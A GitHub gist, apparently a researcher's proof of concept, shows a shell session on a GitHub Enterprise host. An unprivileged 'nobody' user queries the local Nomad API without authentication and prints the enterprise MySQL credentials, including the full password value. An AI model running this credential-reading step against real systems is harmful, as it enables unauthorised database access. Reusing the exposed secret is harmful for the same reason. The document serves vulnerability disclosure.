Skip to content

Instantly share code, notes, and snippets.

@irsl
Created December 30, 2023 22:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save irsl/241014d4b2e1e3301fbd825d7df3c803 to your computer and use it in GitHub Desktop.
Save irsl/241014d4b2e1e3301fbd825d7df3c803 to your computer and use it in GitHub Desktop.
admin@ggithub-duckdns-org:~$ sudo chroot --userspec nobody:nogroup / /bin/bash
bash: /root/.bashrc: Permission denied
nobody@ggithub-duckdns-org:/$ cat /proc/self/status
Name: cat
Umask: 0022
State: R (running)
Tgid: 5104
Ngid: 0
Pid: 5104
PPid: 3304
TracerPid: 0
Uid: 65534 65534 65534 65534
Gid: 65534 65534 65534 65534
...
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000
...
nobody@ggithub-duckdns-org:/$ curl 'http://localhost:4646/v1/job/github-unicorn?namespace=default'| jq -r .|grep MYSQ
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 21489 0 21489 0 0 20.4M 0 --:--:-- --:--:-- --:--:-- 20.4M
"ENTERPRISE_MYSQL_HOSTNAME": "127.0.0.1",
"ENTERPRISE_MYSQL_REPLICA_HOSTNAME": "127.0.0.1",
"ENTERPRISE_AUDIT_LOG_MYSQL_LOGGER_ENABLED": "0",
"ENTERPRISE_MYSQL_REPLICA_PORT": "3308",
"ENTERPRISE_MYSQL_USERNAME": "github",
"ENTERPRISE_MYSQL_PASSWORD": "6d4b5d6db5ba713561955acedf71237c357d0e22e6b0a8642264f33873e79264",
"ENTERPRISE_MYSQL_PORT": "3307",
"ENTERPRISE_MYSQL_DATABASE": "github_enterprise",
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment